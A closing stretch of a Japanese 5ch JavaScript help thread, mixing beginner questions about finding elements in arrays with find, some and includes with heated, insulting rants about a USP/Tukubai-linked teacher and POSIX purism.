2021/10/02(土) 05:23:38.36ID:???
ゴミクソ教師だな
絶対に就職できないわ
ActiveXってIEサポート終了が来月なのに何考えてるんだ
サポート終了も何もオープンソースなんだから世界中でサポートしてるようなものだろ
地球から出ていくなら全部自前でいいだろうがそんな考え方で独自路線で育った学生が就職できるのかね
0954Name_Not_Found
垢版 |
2021/10/02(土) 05:24:48.47ID:???
↑オープンソースのくだりはライブラリの話
0955Name_Not_Found
垢版 |
2021/10/02(土) 05:56:31.53ID:EfyxePPB
>>953
ゴミクソ教師? USPというユニケージというシェルスクリプトで
業務システムを開発しろっていう方法論を広めている会社の社員ですよ?

どんな人か?こんな人です。

「口やかましい少数派」に翻弄されるQiitaサポートは無能である
https://qiita.com/richmikan@github/items/8831c97598cc095e2b95

品位が問われるAdvent Calendar ― シェルスクリプトはどこでも動く!
https://qiita.com/richmikan@github/items/5f53a14a79874d56a2ff

あ、Twitterとか見ないようにねw
0956Name_Not_Found
垢版 |
2021/10/02(土) 06:13:29.00ID:???
>>955
あんたが学生なのかと思った
リンクが気持ち悪いからほぼ読まなかったがお前にとって何が重要なのかを考えたほうがいい
0957Name_Not_Found
垢版 |
2021/10/02(土) 07:53:56.16ID:???
>>948
わかってて質問してんだろ
お前の遊びに俺らを巻き込むな
0958Name_Not_Found
垢版 |
2021/10/02(土) 12:02:59.27ID:???
>>948
ActiveXObject, xhr.onreadystatechange とか使わない

Ajax は、jQuery か、
今は、axios が多い
0959Name_Not_Found
垢版 |
2021/10/02(土) 14:39:56.43ID:???
ただのUSP製品の宣伝をしてるだけの授業
https://richlab.org/j/2v62

・usp Tukubai(通称Tukubai)コマンド
  ・シェルスクリプトによるシステム開発を補完・強化するために作られた独自UNIXコマンド
  ・シェルスクリプトを、単なるサーバー管理言語から、アプリケーション開発言語へと進化させる。
  ・データ整理が特に得意で、RDBを過去のものにする処理速度を誇る。(参照→ 「スピードがすべてを駆逐する」)
  ・一部は、無償版(Open usp Tukubai)も公開されている


usp Tukubaiなんか世界中で「使われていません」
RDBよりも「圧倒的に遅く」「クラウドで使えません」
SQLは広く使われており、どこでも使えます
0960Name_Not_Found
垢版 |
2021/10/02(土) 14:41:47.60ID:???
自己矛盾する授業内容
https://richlab.org/j/2d62


・一人(一社)が所有・支配しているものは
  標準語ではない。
  ・その人の意向で、使い方のルールが
  変わってしまう恐れがある。
  ⇒話者(ユーザー)が翻弄される
  ・いざという時の代替品がない。
  ⇒サポート終了や欠陥発覚で、話者(ユーザー)の
   逃げ道がなくなる。


↑それはUSP研究所が独自で開発している
プロプライエタリなコマンドのことです!

SQLといった標準規格が存在するものは「標準語」です
オープンソースは移植性が高く実際にどこでも動いている
0961Name_Not_Found
垢版 |
2021/10/02(土) 14:43:31.02ID:???
POSIX原理主義者「POSIXではsleepでミリ秒の指定ができない?
だから私が作った。https://qiita.com/richmikan@github/items/65a55a405874e655fbac
すごいだろう?ないものは作ればいい!」


いやでもGNUもBSDでもsleepコマンドはミリ秒の指定できますよね?


POSIX原理主義者「それはPOSIXじゃない!使ってはならない。
だから私は自分で作った!それを使え」


GNUやBSDのsleepコマンドを使いますよw
0962Name_Not_Found
垢版 |
2021/10/02(土) 14:44:24.89ID:???
POSIX原理主義者「UNIX哲学にはどうしてもC言語じゃなきゃダメな局面がなければすべきではないと書いてある」

書いてませんよ?

POSIX原理主義者「すべてのPOSIXコマンドは、どうしてもC言語じゃなければ行けないから、C言語で書いてある!」

basename、dirname、cut、true、false、head、tail、nl、あたりは
シェルスクリプトで簡単にかけますよ



POSIX原理主義者の理論はぜ〜んぶ適当
居酒屋のおっさんの自分語りレベル
0963Name_Not_Found
垢版 |
2021/10/02(土) 14:44:56.05ID:???
POSIX原理主義者「yesコマンドは素晴らしいコマンドだ。その本当に意義を理解できるのはUNIX哲学を理解してる我々のみ!」

  うん、でもyesコマンドってPOSIXコマンドじゃないですよね?

POSIX原理主義者「え?」

  え?じゃなくてyesコマンドは、あんたの理論では使ってはダメなの

POSIX原理主義者「C、C言語で書けば、」

  yesコマンドは使えないコマンドだからPOSIXコマンドじゃないの

POSIX原理主義者「yesコマンドはこのような使い方が、」

  それはあんたが適当に思いついただけの変な使い方。本来の用途じゃないの。移植性もないの

POSIX原理主義者「自分で再発明することの素晴ら」

  あんたが作ったものは使えないし、あんたが作ったものよりGNUやBSDの信頼性があるものを使う
0964Name_Not_Found
垢版 |
2021/10/02(土) 14:45:39.45ID:???
POSIX原理主義者「POSIXコマンドだけを使っていれば10年後もそのまま動く!どこでも動く!POSIXコマンドが改定されることはない!」

  でもtarコマンド削除されましたよね?

POSIX原理主義者「POSIXコマンドはcompressだ!compressを使え!」

  でもLinuxにインストールされてないんですが?

POSIX原理主義者「Linuxは完全にPOSIXに準拠してない!POSIXに準拠している環境ならどこでも動く!」

  そのPOSIXに準拠している環境ってなんですか?

POSIX原理主義者「商用UNIXとmacOSだ!(どやぁ)」

  じゃあ、どこでも動くんじゃなくてPOSIXに準拠してる商用UNIXとmacOSだけで動く
  LinuxはPOSIXに準拠してないから動かないって言わなきゃね
0965Name_Not_Found
垢版 |
2021/10/02(土) 14:46:13.23ID:???
POSIX原理主義者「LinuxもだいたいPOSIXに準拠してるからだいたい動く。動かないものを避ければだいたい動くはずだ」


すっげー適当
理論のレベルじゃない
ただの思いつきで言ってるだけ
0966Name_Not_Found
垢版 |
2021/10/02(土) 14:47:19.69ID:???
SQLと同じことをするためにTukubaiという独自開発した
ライブラリに依存してくださいというのはおかしい

Tukubaiはプロプラライセンスで提供されているから会社が潰れたら共倒れじゃん
オープンソースのもあるけどPythonで作られてるからPythonがバージョンアップしたら終わりじゃん

他人が作ったライブラリに依存するのはダメだけど自分の会社が作ったライブラリ
に依存するのはOKという態度はダブルスタンダードだと思うんだよね
0968Name_Not_Found
垢版 |
2021/10/02(土) 16:01:44.93ID:???
>>955
軽く見た感想
@richmikan@githubは利己主義の塊のような人だなと
コメントを削除されたのは自業自得な感じ
0969Name_Not_Found
垢版 |
2021/10/02(土) 23:39:33.82ID:???
質問です
const A = ["みかん","いちご","トマト","レモン"];
let test = false;
for(let i=0; i<A.length; i++){
 if(A[i] == "キャベツ"){
  test = true;
  break;
 }
}

if(!test){
alert("キャベツはありませんでした");
}

というスクリプト作ってますが、配列に自分の探したい要素が無かった時実行するというスクリプトって他に良いやり方ありますか?
0973Name_Not_Found
垢版 |
2021/10/03(日) 07:31:23.88ID:???
includesない時代はfindIndex使って戻り値を<0で比較してたっけ
0974Name_Not_Found
垢版 |
2021/10/03(日) 09:33:45.48ID:???
このスレ、回答来てない奴のなりすましが多いんだが、承認欲求強い奴が多いのかね
0975Name_Not_Found
垢版 |
2021/10/03(日) 10:14:23.32ID:???
× 回答来てない奴のなりすまし
○ 回答してない奴のなりすまし
0976Name_Not_Found
垢版 |
2021/10/03(日) 12:47:25.14ID:???
なりすましで承認欲求は満たされんだろ
0977969
垢版 |
2021/10/03(日) 15:21:57.81ID:???
度々すみません、再び質問ですが
質問です
const A = [{name:"みかん"},"{name:いちご"},{name:"トマト"},{name:"レモン"}];
let test = false;
for(let i=0; i<A.length; i++){
 if(A[i].name == "キャベツ"){
  test = true;
  break;
 }
}

if(!test){
alert("キャベツはありませんでした");
}
とこの場合はindexOfやincludes使えませんよね?
他にも便利なメソッドが存在したりするのでしょうか?
0978Name_Not_Found
垢版 |
2021/10/03(日) 15:45:16.46ID:???
A.find( ({ name }) => name === 'キャベツ' )
はどうよ
0979969
垢版 |
2021/10/03(日) 16:21:07.70ID:???
>>978
上手くいきました!
これが最適ですね!
0981Name_Not_Found
垢版 |
2021/10/03(日) 16:55:45.22ID:???
yes, someで必要十分ですね 勉強になるね
0982969
垢版 |
2021/10/03(日) 17:01:35.60ID:???
なるほどfindは発見したオブジェクトを返してsomeはtrue falseで返してくれるんですね
もしかするとindexOfみたいに発見したらindexを、無かったら-1を返すようなものもあります?
0983Name_Not_Found
垢版 |
2021/10/03(日) 17:02:48.42ID:???
それは流石にない
処理が複雑だし自分で作る
0987Name_Not_Found
垢版 |
2021/10/04(月) 19:21:10.36ID:???
>>986
古い考えやなー
わからないことは自分で調べるより知ってる人に聞いたほうが何倍もはやいやろ
0990Name_Not_Found
垢版 |
2021/10/04(月) 23:43:27.58ID:???
chromeのデベロッパーツールのSourcesからimgフォルダの中の画像全部保存したいのだけど一括で保存できる方法ないでしょうか?
一つ一つはできるのですが数が多いので一括でやりたいです。
0991Name_Not_Found
垢版 |
2021/10/05(火) 01:56:27.36ID:???
>>990
html質問スレに回答した
こっちにマルチしてるんならjsだからこっちに回答すべきだったな…
0992Name_Not_Found
垢版 |
2021/10/05(火) 07:20:56.06ID:???
>>991
古い考えやなー
わからないことはマルチポストしたほうが何倍もはやいやろ
0994Name_Not_Found
垢版 |
2021/10/05(火) 18:06:46.94ID:???
return filterArr.find(element => (element === item.values));

elementとitem.valuesが同じ値だったら表示するというものですが文字列を含むにする場合はどうしたらいいですか?
0995Name_Not_Found
垢版 |
2021/10/05(火) 18:19:30.07ID:???
>>933からの続きなんだろうけど
すまんが俺のエスパー力が足りないようだ
0996Name_Not_Found
垢版 |
2021/10/05(火) 19:06:39.49ID:???
>>995
お前上のほうでエスパー力って言ってる奴と同じやつやろ
能力ある奴はわからない質問があれば質問返してくれるんだよね。
つまり無能は黙ってろ
0997Name_Not_Found
垢版 |
2021/10/05(火) 19:23:52.22ID:???
知らんけどちょっと上に出てるincludes使えばいいんじゃないの?
0998Name_Not_Found
垢版 |
2021/10/05(火) 19:30:56.86ID:???
単純に考えればそうなんだけどvaluesが文字列とは思えんし
ぶっちゃけよく分からん
0999Name_Not_Found
垢版 |
2021/10/05(火) 20:16:39.10ID:???
>>998
だkらエスパーは黙ってろって
全部わからんしか言ってないやつやろ
10011001
垢版 |
Over 1000Thread
このスレッドは1000を超えました。
新しいスレッドを立ててください。
life time: 2579日 1時間 15分 36秒
10021002
垢版 |
Over 1000Thread
5ちゃんねるの運営はプレミアム会員の皆さまに支えられています。
運営にご協力お願いいたします。


───────────────────
《プレミアム会員の主な特典》
★ 5ちゃんねる専用ブラウザからの広告除去
★ 5ちゃんねるの過去ログを取得
★ 書き込み規制の緩和
───────────────────

会員登録には個人情報は一切必要ありません。
月300円から匿名でご購入いただけます。

▼ プレミアム会員登録はこちら ▼
https://premium.5ch.net/

▼ 浪人ログインはこちら ▼
https://login.5ch.net/login.php
レス数が1000を超えています。これ以上書き込みはできません。

ニューススポーツなんでも実況